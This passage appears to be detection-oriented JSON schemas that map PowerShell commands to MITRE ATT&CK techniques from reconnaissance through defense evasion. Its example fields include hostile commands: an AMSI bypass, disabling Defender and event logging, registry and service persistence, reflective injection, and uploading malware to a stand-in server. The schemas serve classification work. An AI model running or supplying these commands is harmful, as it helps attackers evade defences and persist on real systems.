1. Reconnaissance [T1595, T1594, T1596]


```
{
  "technique": "Reconnaissance",
  "mitre_ids": ["T1595", "T1594", "T1596"],
  "input_characteristics": {
    "network_enumeration_commands": {
      "target_types": [
        "IP address ranges/CIDR notation",
        "Domain names",
        "Network scanning parameters",
        "DNS queries",
        "Certificate queries",
        "Web requests"
      ],
      "common_commands": [
        "Test-NetConnection",
        "Invoke-WebRequest",
        "Resolve-DnsName",
        "Get-Certificate",
        "nslookup",
        "ping",
        "tracert",
        "nmap",
        "dig"
      ],
      "command_structure_elements": [
        "Target specification (IP, domain, range)",
        "Query parameters",
        "Output formatting",
        "Rate limiting/timing options",
        "Protocol specifications (HTTP, DNS, etc.)"
      ]
    }
  },
  "output_characteristics": {
    "information_gathering_results": [
      "Host availability",
```

```
      "Open ports",
      "DNS records",
      "Certificate information",
      "Web server responses",
      "Network paths",
      "Service versions"
    ],
    "common_output_formats": [
      "IP addresses",
      "Domain names",
      "Status codes",
      "Response times",
      "Service banners",
      "Certificate details",
      "DNS records"
    ]
  },
  "classification_rules": [
    {
      "technique_id": "T1595.001",
      "name": "Scanning IP Blocks",
      "conditions": [
        "Command performs network range scanning",
        "Enumerates multiple IP addresses",
        "Checks host availability across a subnet"
      ],
      "example": "1..255 | ForEach-Object {Test-NetConnection -ComputerName
\"192.168.1.$_\"}"
    },
    {
      "technique_id": "T1595.002",
      "name": "Vulnerability Scanning",
      "conditions": [
        "Command checks for specific vulnerabilities",
        "Probes service versions",
        "Tests for misconfigurations"
      ],
      "example": "Invoke-WebRequest -Uri \"https://target.com\" -Method OPTIONS"
    },
    {
```

```
      "technique_id": "T1594",
      "name": "Search Victim-Owned Websites",
      "conditions": [
        "Command crawls/scrapes websites",
        "Enumerates web resources",
        "Queries web servers"
      ],
      "example": "Invoke-WebRequest -Uri \"https://target.com\" | Select-String -Pattern
\"email@domain.com\""
    },
    {
      "technique_id": "T1596",
      "name": "Search Open Technical Databases",
      "subtechniques": [
        {
          "technique_id": "T1596.001",
          "name": "DNS/Passive DNS",
          "conditions": ["Queries DNS records"],
          "example": "Resolve-DnsName -Name \"domain.com\" -Type ALL"
        },
        {
          "technique_id": "T1596.002",
          "name": "WHOIS",
          "conditions": ["Queries domain registration"],
          "example": "Invoke-RestMethod -Uri
\"https://whois.domain.com/api/domain.com\""
        },
        {
          "technique_id": "T1596.003",
          "name": "Digital Certificates",
          "conditions": ["Queries certificate information"],
          "example": "Get-Certificate -DnsName \"domain.com\""
        }
      ]
    }
  ],
  "additional_context": {
    "typical_characteristics": [
      "Non-destructive/read-only",
      "Focus on information gathering",
```

```
      "May be noisy/generate logs",
      "Often run against multiple targets",
      "May include error handling for failed queries"
    ],
    "red_flags": [
      "Large-scale scanning",
      "Rapid successive queries",
      "Enumeration of sensitive services",
      "Attempts to bypass rate limiting",
      "Collection of security-related information"
    ]
  },
  "example_classifications": {
    "ip_block_scanning": {
      "technique_id": "T1595.001",
      "command": "1..255 | % {Test-Connection \"192.168.1.$_\" -Count 1 -Quiet}"
    },
    "vulnerability_scanning": {
      "technique_id": "T1595.002",
      "command": "Get-Service | Where-Object {$_.Status -eq \"Running\"} | Select-Object
DisplayName,Status"
    },
    "dns_query": {
      "technique_id": "T1596.001",
      "command": "Resolve-DnsName -Name \"domain.com\" -Type MX"
    },
    "whois_query": {
      "technique_id": "T1596.002",
      "command": "Invoke-RestMethod \"https://whois.domaintools.com/domain.com\""
    },
    "certificate_query": {
      "technique_id": "T1596.003",
      "command": "Get-ChildItem -Path Cert:\\LocalMachine\\My"
    }
  }
}
```


2. Resource Development

```
{
  "technique": "Resource Development",
  "mitre_ids": ["T1587", "T1608"],
  "input_characteristics": {
    "certificate_signing_operations": {
      "parameters": [
        "Certificate creation parameters",
        "Key specifications",
        "Certificate subject information",
        "Signing requests",
        "Installation paths"
      ]
    },
    "file_upload_operations": {
      "parameters": [
        "Source file paths",
        "Destination URLs/paths",
        "Authentication credentials",
        "Upload parameters"
      ]
    },
    "common_commands": [
      "New-SelfSignedCertificate",
      "Import-Certificate",
      "Export-Certificate",
      "Invoke-WebRequest",
      "Invoke-RestMethod",
      "Import-Module PKI",
      "certutil"
    ]
  },
  "output_characteristics": {
    "certificate_operations": {
      "outputs": [
        "Certificate files (.cer, .pfx)",
        "Key pairs",
        "Certificate stores",
        "Certificate thumbprints",
        "Success/failure messages"
      ]
```

```
    },
    "upload_operations": {
      "outputs": [
        "HTTP status codes",
        "Transfer progress",
        "Success/failure messages",
        "Upload confirmations",
        "Response headers"
      ]
    }
  },
  "classification_rules": [
    {
      "technique_id": "T1587.001",
      "name": "Malware Development",
      "conditions": [
        "Command creates/modifies script files",
        "Generates encoded payloads",
        "Compiles malicious code"
      ],
      "example": "Set-Content -Path \"payload.ps1\" -Value
([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process
calc.exe')))"
    },
    {
      "technique_id": "T1587.002",
      "name": "Code Signing Certificates",
      "conditions": [
        "Creates certificates for code signing",
        "Manages code signing certificates"
      ],
      "example": "New-SelfSignedCertificate -Type CodeSigningCert -Subject
\"CN=TestCert\" -KeyUsage DigitalSignature"
    },
    {
      "technique_id": "T1587.003",
      "name": "Digital Certificates",
      "conditions": [
        "Creates general-purpose certificates",
        "Manages PKI infrastructure"
```

```
      ],
      "example": "New-SelfSignedCertificate -DnsName \"server.domain.com\"
-CertStoreLocation \"Cert:\\LocalMachine\\My\""
    },
    {
      "technique_id": "T1608.001",
      "name": "Upload Malware",
      "conditions": [
        "Uploads malicious payloads",
        "Transfers suspicious scripts"
      ],
      "example": "Invoke-WebRequest -Uri \"http://server/payload.ps1\" -Method Put
-InFile \"local_payload.ps1\""
    },
    {
      "technique_id": "T1608.002",
      "name": "Upload Tool",
      "conditions": [
        "Uploads legitimate tools",
        "Transfers utilities"
      ],
      "example": "Invoke-RestMethod -Uri \"http://server/upload\" -Method Post -InFile
\"tool.exe\""
    },
    {
      "technique_id": "T1608.003",
      "name": "Install Digital Certificate",
      "conditions": [
        "Imports certificates",
        "Configures cert stores"
      ],
      "example": "Import-Certificate -FilePath \"cert.cer\" -CertStoreLocation
\"Cert:\\LocalMachine\\Root\""
    }
  ],
  "additional_context": {
    "typical_characteristics": [
      "Create or modify resources",
      "Require elevated privileges",
      "Generate artifacts",
```

```
      "Leave audit trails",
      "May trigger security alerts"
    ],
    "red_flags": [
      "Self-signed certificates",
      "Unusual certificate parameters",
      "Suspicious file uploads",
      "Base64 encoded content",
      "Non-standard certificate stores"
    ]
  },
  "example_classifications": {
    "malware_development": {
      "technique_id": "T1587.001",
      "command": "\"$code = 'Start-Process powershell.exe -WindowStyle Hidden'; $bytes
= [System.Text.Encoding]::Unicode.GetBytes($code); $encoded =
[Convert]::ToBase64String($bytes)\""
    },
    "code_signing_certificate": {
      "technique_id": "T1587.002",
      "command": "New-SelfSignedCertificate -Type CodeSigningCert -Subject
\"CN=SigningCert\" -KeyUsage DigitalSignature -KeyAlgorithm RSA -KeyLength 2048"
    },
    "digital_certificate": {
      "technique_id": "T1587.003",
      "command": "New-SelfSignedCertificate -Subject \"CN=WebServer\" -TextExtension
@(\"2.5.29.37={text}1.3.6.1.5.5.7.3.1\")"
    },
    "upload_malware": {
      "technique_id": "T1608.001",
      "command": "Invoke-WebRequest -Uri \"http://server/upload\" -Method Post -InFile
\"malware.ps1\""
    },
    "upload_tool": {
      "technique_id": "T1608.002",
      "command": "Invoke-RestMethod -Uri \"http://server/tools\" -Method Put -InFile
\"diagnostic.exe\""
    },
    "install_certificate": {
      "technique_id": "T1608.003",
```

```
      "command": "Import-Certificate -FilePath \".\\cert.cer\" -CertStoreLocation
\"Cert:\\LocalMachine\\My\""
    }
  }
}
```

3. Initial Access

```
{
  "technique": "Initial Access",
  "mitre_ids": ["T1133", "T1078"],
  "input_characteristics": {
    "remote_service_commands": {
      "parameters": [
        "Connection parameters",
        "Authentication credentials",
        "Remote endpoints",
        "Session configurations",
        "Protocol specifications"
      ]
    },
    "account_interaction_commands": {
      "parameters": [
        "Account credentials",
        "User/group names",
        "Domain specifications",
        "Account parameters",
        "Cloud service endpoints"
      ]
    },
    "common_commands": [
      "Enter-PSSession",
      "New-PSSession",
      "Get-WmiObject",
      "Get-ADUser",
      "Get-LocalUser",
      "Connect-AzAccount",
      "Connect-AWSAccount"
```

```
  ]
},
"output_characteristics": {
  "remote_service_outputs": [
    "Session information",
    "Connection status",
    "Authentication results",
    "Error messages",
    "Session IDs"
  ],
  "account_operation_outputs": [
    "User details",
    "Account status",
    "Permission levels",
    "Group memberships",
    "Authentication tokens"
  ]
},
"classification_rules": [
  {
    "technique_id": "T1133",
    "name": "External Remote Services",
    "conditions": [
      "Establishes remote PowerShell sessions",
      "Configures WinRM connections",
      "Sets up remote service access"
    ],
    "example": "Enter-PSSession -ComputerName \"remote.server\" -Credential $cred"
  },
  {
    "technique_id": "T1078",
    "name": "Valid Accounts",
    "subtechniques": [
      {
        "technique_id": "T1078.001",
        "name": "Default Accounts",
        "conditions": [
          "Interacts with built-in Windows accounts",
          "Manages system accounts"
        ],
```

```
        "example": "Get-LocalUser -Name \"Administrator\""
      },
      {
        "technique_id": "T1078.002",
        "name": "Domain Accounts",
        "conditions": [
          "Interacts with Active Directory",
          "Manages domain users"
        ],
        "example": "Get-ADUser -Filter * -Properties *"
      },
      {
        "technique_id": "T1078.003",
        "name": "Local Accounts",
        "conditions": [
          "Manages local user accounts",
          "Configures local permissions"
        ],
        "example": "New-LocalUser -Name \"LocalUser\" -Password $securePassword"
      },
      {
        "technique_id": "T1078.004",
        "name": "Cloud Accounts",
        "conditions": [
          "Connects to cloud services",
          "Manages cloud identities"
        ],
        "example": "Connect-AzAccount -Credential $cred"
      }
    ]
  }
],
"additional_context": {
  "typical_characteristics": [
    "Require valid credentials",
    "Create persistent connections",
    "May trigger login events",
    "Often use privileged accounts",
    "Generate authentication logs"
  ],
```

```
    "red_flags": [
      "Use of default credentials",
      "Multiple authentication attempts",
      "Unusual login times/locations",
      "Privileged account usage",
      "Remote connection attempts"
    ]
  },
  "example_classifications": {
    "external_remote_services": {
      "technique_id": "T1133",
      "examples": [
        {
          "command": "New-PSSession -ComputerName \"server.domain.com\" -Credential
$cred",
          "description": "Create new PowerShell session"
        },
        {
          "command": "Enable-PSRemoting -Force",
          "description": "Enable PowerShell remoting"
        },
        {
          "command": "Set-Item WSMan:\\localhost\\Client\\TrustedHosts -Value \"*\"",
          "description": "Configure trusted hosts"
        }
      ]
    },
    "default_accounts": {
      "technique_id": "T1078.001",
      "examples": [
        {
          "command": "Get-LocalUser -Name \"Administrator\"",
          "description": "Query administrator account"
        },
        {
          "command": "Enable-LocalUser -Name \"Guest\"",
          "description": "Enable guest account"
        },
        {
```

```
        "command": "Get-WmiObject -Class Win32_UserAccount -Filter
\"LocalAccount=True AND Disabled=False\"",
        "description": "Query enabled local accounts"
       }
     ]
   },
   "domain_accounts": {
     "technique_id": "T1078.002",
     "examples": [
       {
         "command": "Get-ADUser -Identity \"username\" -Properties *",
         "description": "Query domain user"
       },
       {
         "command": "Get-ADGroupMember -Identity \"Domain Admins\"",
         "description": "List domain admins"
       },
       {
         "command": "Search-ADAccount -AccountDisabled $false",
         "description": "Find enabled AD accounts"
       }
     ]
   },
   "local_accounts": {
     "technique_id": "T1078.003",
     "examples": [
       {
         "command": "New-LocalUser -Name \"ServiceAccount\" -Password
$securePassword",
         "description": "Create local service account"
       },
       {
         "command": "Add-LocalGroupMember -Group \"Administrators\" -Member
\"UserName\"",
         "description": "Add user to admin group"
       },
       {
         "command": "Get-LocalGroupMember -Group \"Users\"",
         "description": "List local users group"
       }
```

```
      ]
    },
    "cloud_accounts": {
      "technique_id": "T1078.004",
      "examples": [
        {
          "command": "Connect-AzAccount",
          "description": "Connect to Azure"
        },
        {
          "command": "Get-AzContext",
          "description": "Get Azure context"
        },
        {
          "command": "Connect-AWSAccount -AccessKey $accessKey -SecretKey
$secretKey",
          "description": "Connect to AWS"
        },
        {
          "command": "Get-IAMUserList",
          "description": "List AWS IAM users"
        }
      ]
    }
  },
  "common_parameters": {
    "remote_service_parameters": [
      "ComputerName",
      "Credential",
      "Authentication",
      "Port",
      "UseSSL"
    ],
    "account_operation_parameters": [
      "Identity/Name",
      "Password",
      "Enabled/Disabled",
      "Group",
      "Properties"
    ],
```

```
    "authentication_parameters": [
      "Credential",
      "Certificate",
      "Token",
      "AccessKey/SecretKey",
      "Region"
    ]
  }
}
```

4. Execution

```
{
  "technique": "Execution",
  "mitre_ids": ["T1059", "T1569", "T1053", "T1204", "T1106", "T1129", "T1202"],
  "input_characteristics": {
    "script_command_execution": {
      "parameters": [
        "Script blocks",
        "Encoded commands",
        "Execution policy modifications",
        "Command line arguments",
        "Execution bypass methods"
      ]
    },
    "service_task_operations": {
      "parameters": [
        "Service configurations",
        "Task schedules",
        "Execution triggers",
        "Run parameters",
        "Execution context"
      ]
    },
    "common_commands": [
      "Invoke-Expression",
      "Invoke-Command",
      "Start-Process",
```

```
    "New-Service",
    "Register-ScheduledTask",
    "Import-Module",
    "Add-Type"
  ]
},
"classification_rules": [
  {
    "technique_id": "T1059.001",
    "name": "PowerShell Command/Script Execution",
    "conditions": [
      "Executes PowerShell commands directly",
      "Runs scripts",
      "Uses execution policy bypasses"
    ],
    "examples": [
      {
        "command": "Invoke-Expression \"Get-Process\"",
        "description": "Direct PowerShell execution"
      },
      {
        "command": "powershell.exe -EncodedCommand $base64",
        "description": "Encoded command execution"
      }
    ]
  },
  {
    "technique_id": "T1569.002",
    "name": "Service Execution",
    "conditions": [
      "Creates/modifies services",
      "Controls service state",
      "Uses service binaries"
    ],
    "example": "New-Service -Name \"Service\" -BinaryPathName \"C:\\path\\file.exe\""
  },
  {
    "technique_id": "T1053",
    "name": "Scheduled Task Execution",
    "conditions": [
```

```
        "Creates/modifies scheduled tasks",
        "Sets task triggers",
        "Manages task scheduling"
      ],
      "example": "Register-ScheduledTask -TaskName \"Task\" -Action $action"
    },
    {
      "technique_id": "T1204",
      "name": "User Execution",
      "conditions": [
        "Requires user interaction",
        "Opens documents/files",
        "Executes downloaded content"
      ],
      "example": "Start-Process \"malicious.exe\""
    },
    {
      "technique_id": "T1106",
      "name": "Native API Calls",
      "conditions": [
        "Uses Add-Type",
        "Invokes P/Invoke",
        "Calls Win32 APIs"
      ],
      "example": "Add-Type -MemberDefinition $signature -Name \"Win32\" -Namespace
Win32Functions"
    },
    {
      "technique_id": "T1129",
      "name": "Shared Module Loading",
      "conditions": [
        "Imports modules",
        "Loads DLLs",
        "Uses module paths"
      ],
      "example": "Import-Module \"\\\\share\\module.psm1\""
    },
    {
      "technique_id": "T1202",
      "name": "Indirect Command Execution",
```

```
      "conditions": [
        "Uses command wrappers",
        "Executes through intermediary",
        "Chains commands"
      ],
      "example": "& $env:ComSpec /c command"
    }
  ],
  "example_classifications": {
    "powershell_execution": {
      "technique_id": "T1059.001",
      "examples": [
        {
          "command": "Invoke-Expression \"$($env:TEMP + '\\script.ps1')\"",
          "description": "Execute script from temp directory"
        },
        {
          "command": "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command
$cmd",
          "description": "Execute with bypass flags"
        },
        {
          "command": ". .\\script.ps1",
          "description": "Dot source script"
        }
      ]
    },
    "service_execution": {
      "technique_id": "T1569.002",
      "examples": [
        {
          "command": "New-Service -Name \"SvcName\" -BinaryPathName
\"C:\\Windows\\System32\\payload.exe\"",
          "description": "Create new service"
        },
        {
          "command": "Start-Service -Name \"SvcName\"",
          "description": "Start service"
        },
        {
```

```
        "command": "Set-Service -Name \"SvcName\" -Status Running",
        "description": "Set service status"
      }
    ]
  },
  "scheduled_task": {
    "technique_id": "T1053",
    "examples": [
      {
        "command": "$action = New-ScheduledTaskAction -Execute \"powershell.exe\"
-Argument \"-File c:\\task.ps1\"",
        "description": "Create scheduled task action"
      },
      {
        "command": "Register-ScheduledTask -TaskName \"TaskName\" -Action $action",
        "description": "Register scheduled task"
      },
      {
        "command": "Start-ScheduledTask -TaskName \"TaskName\"",
        "description": "Start scheduled task"
      }
    ]
  },
  "native_api_calls": {
    "technique_id": "T1106",
    "examples": [
      {
        "command": "Add-Type -MemberDefinition \"[DllImport(\\\"user32.dll\\\")]\" -Name
\"Win32\" -Namespace Win32Functions",
        "description": "Import native API"
      }
    ]
  },
  "shared_module_loading": {
    "technique_id": "T1129",
    "examples": [
      {
        "command": "Import-Module \"\\\\server\\share\\module.psm1\"",
        "description": "Import remote module"
      },
```

```
      {
        "command": "$assembly =
[System.Reflection.Assembly]::LoadFile(\"\\\\share\\lib.dll\")",
        "description": "Load remote assembly"
      },
      {
        "command": "Import-Module -Name \"RemoteModule\"",
        "description": "Import module by name"
      }
    ]
  },
  "indirect_command_execution": {
    "technique_id": "T1202",
    "examples": [
      {
        "command": "cmd.exe /c powershell.exe -Command \"Get-Process\"",
        "description": "Execute through cmd.exe"
      },
      {
        "command": "Invoke-WmiMethod -Class Win32_Process -Name Create
-ArgumentList \"cmd.exe /c dir\"",
        "description": "Execute through WMI"
      },
      {
        "command": "wmic process call create \"powershell.exe -enc
$encodedCommand\"",
        "description": "Execute through WMIC"
      }
    ]
  }
 },
 "red_flags": {
  "command_script_characteristics": [
    "Base64 encoded commands",
    "Execution policy bypasses",
    "Hidden window parameters",
    "Unusual module sources",
    "Obfuscated commands"
  ],
  "service_task_characteristics": [
```

```
      "Unusual service paths",
      "Suspicious task triggers",
      "Non-standard execution times",
      "Unexpected module loads",
      "Indirect execution chains"
    ]
  },
  "common_parameters": {
    "script_execution": [
      "NoProfile",
      "ExecutionPolicy Bypass",
      "WindowStyle Hidden",
      "EncodedCommand",
      "NonInteractive"
    ],
    "service_task_parameters": [
      "Name",
      "BinaryPathName",
      "Credential",
      "StartupType",
      "Trigger conditions"
    ],
    "module_loading": [
      "ModuleName",
      "ModuleInfo",
      "Force",
      "Global",
      "DisableNameChecking"
    ]
  }
}
```

5. Persistence

```
{
  "technique": "Persistence",
  "mitre_ids": ["T1546", "T1053", "T1547", "T1543", "T1037", "T1112", "T1137"],
  "input_characteristics": {
```

```
  "profile_startup_modifications": {
    "operations": [
      "Profile path modifications",
      "Startup folder operations",
      "AutoRun configurations",
      "Boot scripts",
      "Login scripts"
    ]
  },
  "service_task_operations": {
    "operations": [
      "Service configurations",
      "Scheduled tasks",
      "Startup parameters",
      "Run keys",
      "Registry modifications"
    ]
  },
  "common_commands": [
    "Set-ExecutionPolicy",
    "New-Service",
    "Register-ScheduledTask",
    "Set-ItemProperty",
    "New-ItemProperty",
    "Add-Content",
    "$PROFILE"
  ]
},
"classification_rules": [
  {
    "technique_id": "T1546.013",
    "name": "PowerShell Profile Modifications",
    "conditions": [
      "Modifies PowerShell profiles",
      "Alters profile paths",
      "Changes profile content"
    ],
    "example": "Add-Content $PROFILE \"Start-Process calc.exe\""
  },
  {
```

```
      "technique_id": "T1053",
      "name": "Scheduled Task Creation",
      "conditions": [
        "Creates persistent tasks",
        "Sets recurring schedules",
        "Configures task triggers"
      ],
      "example": "Register-ScheduledTask -TaskName \"Update\" -Trigger $trigger -Action
$action"
    },
    {
      "technique_id": "T1547",
      "name": "Boot/Logon Autostart",
      "conditions": [
        "Modifies startup items",
        "Configures boot scripts",
        "Sets autorun entries"
      ],
      "example": "Copy-Item \"script.ps1\" \"$env:APPDATA\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup\\\""
    },
    {
      "technique_id": "T1543.003",
      "name": "Windows Service Operations",
      "conditions": [
        "Creates persistent services",
        "Modifies service configurations",
        "Sets service startup types"
      ],
      "example": "New-Service -Name \"UpdateService\" -BinaryPathName
\"C:\\Windows\\update.exe\" -StartupType Automatic"
    },
    {
      "technique_id": "T1037",
      "name": "Boot/Logon Scripts",
      "conditions": [
        "Creates logon scripts",
        "Modifies startup scripts",
        "Sets Group Policy scripts"
      ],
```

```
      "example": "Set-ItemProperty
\"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\Scripts\" -Name
\"Startup\" -Value \"script.ps1\""
    },
    {
      "technique_id": "T1112",
      "name": "Registry Modifications",
      "conditions": [
        "Modifies registry keys",
        "Sets registry values",
        "Creates registry entries"
      ],
      "example": "Set-ItemProperty -Path
\"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"Updater\"
-Value \"C:\\update.exe\""
    },
    {
      "technique_id": "T1137",
      "name": "Office Persistence",
      "subtechniques": [
        {
          "technique_id": "T1137.001",
          "name": "Office Template Modifications",
          "example": "Copy-Item \"malicious.dotm\"
\"$env:APPDATA\\Microsoft\\Templates\\\""
        },
        {
          "technique_id": "T1137.004",
          "name": "Outlook Homepage Changes",
          "example": "Set-ItemProperty
\"HKCU:\\Software\\Microsoft\\Office\\16.0\\Outlook\\WebView\" -Name \"Homepage\"
-Value \"http://malicious.com\""
        },
        {
          "technique_id": "T1137.006",
          "name": "Office Add-ins",
          "example": "Copy-Item \"add-in.xll\"
\"$env:APPDATA\\Microsoft\\Excel\\XLSTART\\\""
        }
      ]
```

```
    }
  ],
  "example_classifications": {
    "powershell_profile": {
      "technique_id": "T1546.013",
      "examples": [
        {
          "command": "Add-Content $PROFILE 'function OnStart { Start-Process
\"malicious.exe\" }'",
          "description": "Add malicious function to profile"
        },
        {
          "command": "Set-ExecutionPolicy Bypass -Scope CurrentUser",
          "description": "Modify execution policy"
        }
      ]
    },
    "scheduled_task": {
      "technique_id": "T1053",
      "examples": [
        {
          "command": "$trigger = New-ScheduledTaskTrigger -AtLogon",
          "description": "Create logon trigger"
        },
        {
          "command": "$action = New-ScheduledTaskAction -Execute \"powershell.exe\"
-Argument \"-File c:\\scripts\\persist.ps1\"",
          "description": "Create task action"
        },
        {
          "command": "Register-ScheduledTask -TaskName \"SystemUpdate\" -Trigger
$trigger -Action $action",
          "description": "Register persistent task"
        }
      ]
    },
    "windows_service": {
      "technique_id": "T1543.003",
      "examples": [
        {
```

```
        "command": "New-Service -Name \"UpdateService\" -DisplayName \"Windows
Update Service\" -BinaryPathName \"C:\\Windows\\System32\\payload.exe\"
-StartupType Automatic",
        "description": "Create persistent service"
       },
       {
        "command": "Set-Service -Name \"UpdateService\" -StartupType Automatic",
        "description": "Configure service startup"
       }
      ]
    }
  },
  "red_flags": {
    "suspicious_characteristics": [
      "Hidden files/folders",
      "System directory modifications",
      "Encoded commands in scripts",
      "Non-standard paths",
      "Unusual service names",
      "Uncommon registry locations"
    ],
    "behavioral_indicators": [
      "Multiple persistence mechanisms",
      "Timestamp manipulation",
      "Masquerading as system files",
      "Modifications to protected directories",
      "Unauthorized service creation"
    ]
  },
  "common_persistence_locations": {
    "registry": [
      "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",

"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
      "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services"
    ],
    "file_system": [
      "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",
      "C:\\Windows\\System32\\GroupPolicy\\Scripts",
      "$env:USERPROFILE\\Documents\\WindowsPowerShell"
```

```
    ],
    "scheduled_tasks": [
      "\\Microsoft\\Windows\\",
      "Task Scheduler Library",
      "User-created task folders"
    ]
  }
}
```

6. Privilege Escalation

```
{
  "technique": "Privilege Escalation",
  "mitre_ids": ["T1548", "T1134", "T1484", "T1574", "T1055", "T1620"],
  "input_characteristics": {
    "elevation_commands": {
      "operations": [
        "UAC bypass attempts",
        "Token manipulation",
        "Process elevation",
        "RunAs operations",
        "Service permissions modifications"
      ]
    },
    "process_memory_operations": {
      "operations": [
        "DLL injection",
        "Process memory modification",
        "Handle manipulation",
        "Code injection",
        "Process hollowing"
      ]
    },
    "common_commands": [
      "Start-Process",
      "New-Object",
      "Add-Type",
      "[System.Runtime.InteropServices]",
```

```
      "Get-Process",
      "Set-TokenPrivilege",
      "Set-GPOPermission"
    ]
  },
  "classification_rules": [
    {
      "technique_id": "T1548",
      "name": "Abuse Elevation Control",
      "conditions": [
        "Bypasses UAC",
        "Uses elevated privileges",
        "Modifies security settings"
      ],
      "example": "Start-Process powershell.exe -Verb RunAs"
    },
    {
      "technique_id": "T1134",
      "name": "Access Token Manipulation",
      "conditions": [
        "Modifies process tokens",
        "Impersonates users",
        "Manipulates privileges"
      ],
      "example": "$TokenPrivileges = Add-Type -MemberDefinition $signature -Name
\"Advapi32\" -Namespace Win32Functions"
    },
    {
      "technique_id": "T1484",
      "name": "Domain Policy Modification",
      "conditions": [
        "Changes group policies",
        "Modifies domain settings",
        "Alters security policies"
      ],
      "example": "Set-GPPermission -Name \"Domain Policy\" -TargetName \"Username\"
-TargetType User -PermissionLevel GpoEdit"
    },
    {
      "technique_id": "T1574",
```

```
      "name": "Hijack Execution Flow",
      "conditions": [
        "Modifies DLL search paths",
        "Changes load order",
        "Alters execution paths"
      ],
      "example": "Set-ItemProperty -Path
\"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs\""
    },
    {
      "technique_id": "T1055",
      "name": "Process Injection",
      "subtechniques": [
        {
          "technique_id": "T1055.001",
          "name": "DLL Injection",
          "conditions": ["Injects DLLs into processes"],
          "example": "Invoke-ReflectivePEInjection -DllPath \"malicious.dll\" -ProcessID
$pid"
        },
        {
          "technique_id": "T1055.002",
          "name": "PE Injection",
          "conditions": ["Injects executables"],
          "example": "$bytes = [System.IO.File]::ReadAllBytes(\"payload.exe\")"
        },
        {
          "technique_id": "T1055.012",
          "name": "Process Hollowing",
          "conditions": [
            "Creates suspended processes",
            "Modifies process memory"
          ],
          "example": "$process = Start-Process -WindowStyle Hidden -PassThru -FilePath
\"svchost.exe\""
        }
      ]
    },
    {
      "technique_id": "T1620",
```

```
      "name": "Reflective Code Loading",
      "conditions": [
        "Loads code into memory",
        "Uses reflection techniques",
        "Executes in-memory code"
      ],
      "example": "[System.Reflection.Assembly]::Load($bytes)"
    }
  ],
  "example_classifications": {
    "abuse_elevation_control": {
      "technique_id": "T1548",
      "examples": [
        {
          "command": "Start-Process powershell.exe -Verb RunAs -ArgumentList
\"-Command $command\"",
          "description": "Elevate command execution"
        },
        {
          "command": "$principal = New-Object
Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())"
,
          "description": "Check current privileges"
        }
      ]
    },
    "token_manipulation": {
      "technique_id": "T1134",
      "examples": [
        {
          "command": "Add-Type -MemberDefinition \"[DllImport(\\\"advapi32.dll\\\")]\"
-Name \"Advapi32\" -Namespace Win32Functions",
          "description": "Import token manipulation functions"
        }
      ]
    },
    "process_injection": {
      "technique_id": "T1055.001",
      "examples": [
        {
```

```
        "command": "Add-Type -MemberDefinition \"[DllImport(\\\"kernel32.dll\\\")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);\"",
        "description": "Import process manipulation functions"
       }
      ]
    }
  },
  "red_flags": {
    "suspicious_characteristics": [
      "Process injection code",
      "Reflective loading",
      "Token manipulation",
      "UAC bypass attempts",
      "DLL path manipulation"
    ],
    "common_indicators": [
      "Use of Win32 APIs",
      "Memory allocation",
      "Process handle operations",
      "Security descriptor modifications",
      "Privilege modifications"
    ]
  },
  "common_parameters": {
    "process_operations": [
      "ProcessId",
      "ProcessName",
      "ProcessHandle",
      "AccessToken",
      "WindowStyle"
    ],
    "memory_operations": [
      "VirtualAlloc",
      "WriteProcessMemory",
      "CreateRemoteThread",
      "OpenProcess",
      "VirtualProtect"
    ],
    "token_operations": [
```

```
      "ImpersonateLoggedOnUser",
      "DuplicateToken",
      "AdjustTokenPrivileges",
      "CreateProcessWithToken"
    ]
  }
}
```

7. Defense Evasion

```
{
  "technique": "Defense Evasion",
  "mitre_ids": ["T1027", "T1562", "T1564", "T1070"],
  "input_characteristics": {
    "obfuscation_commands": {
      "operations": [
        "Encoded commands",
        "String manipulation",
        "Variable substitution",
        "Concatenation",
        "Command splitting"
      ]
    },
    "security_tool_manipulation": {
      "operations": [
        "AMSI interactions",
        "Event log operations",
        "Service modifications",
        "History deletion",
        "Attribute changes"
      ]
    },
    "common_commands": [
      "Set-MpPreference",
      "Clear-EventLog",
      "Clear-History",
      "Remove-Item",
      "Set-ItemProperty",
```

```
      "Set-PSReadLineOption",
      "[Convert]::ToBase64String"
    ]
  },
  "classification_rules": [
    {
      "technique_id": "T1027",
      "name": "Script/Command Obfuscation",
      "conditions": [
        "Uses encoding/encryption",
        "Splits commands",
        "Manipulates strings"
      ],
      "examples": [
        {
          "command": "$command =
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(\"Get-Process\"))",
          "description": "Base64 encoding"
        },
        {
          "command": "$env:ComSpec[4,24,25]-join\"\"",
          "description": "Character array manipulation"
        }
      ]
    },
    {
      "technique_id": "T1562",
      "name": "Defense Impairment",
      "subtechniques": [
        {
          "technique_id": "T1562.000",
          "name": "AMSI Bypass",
          "conditions": [
            "Disables AMSI",
            "Modifies AMSI settings"
          ],
          "example":
"[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiIn
itFailed','NonPublic,Static').SetValue($null,$true)"
        },
```

```
    {
      "technique_id": "T1562.001",
      "name": "Security Tools",
      "conditions": [
        "Disables security services",
        "Modifies tool settings"
      ],
      "example": "Set-MpPreference -DisableRealtimeMonitoring $true"
    },
    {
      "technique_id": "T1562.002",
      "name": "Event Logging",
      "conditions": [
        "Disables event logging",
        "Modifies log settings"
      ],
      "example": "Stop-Service \"Windows Event Log\""
    },
    {
      "technique_id": "T1562.003",
      "name": "Command History",
      "conditions": [
        "Disables command logging",
        "Clears history"
      ],
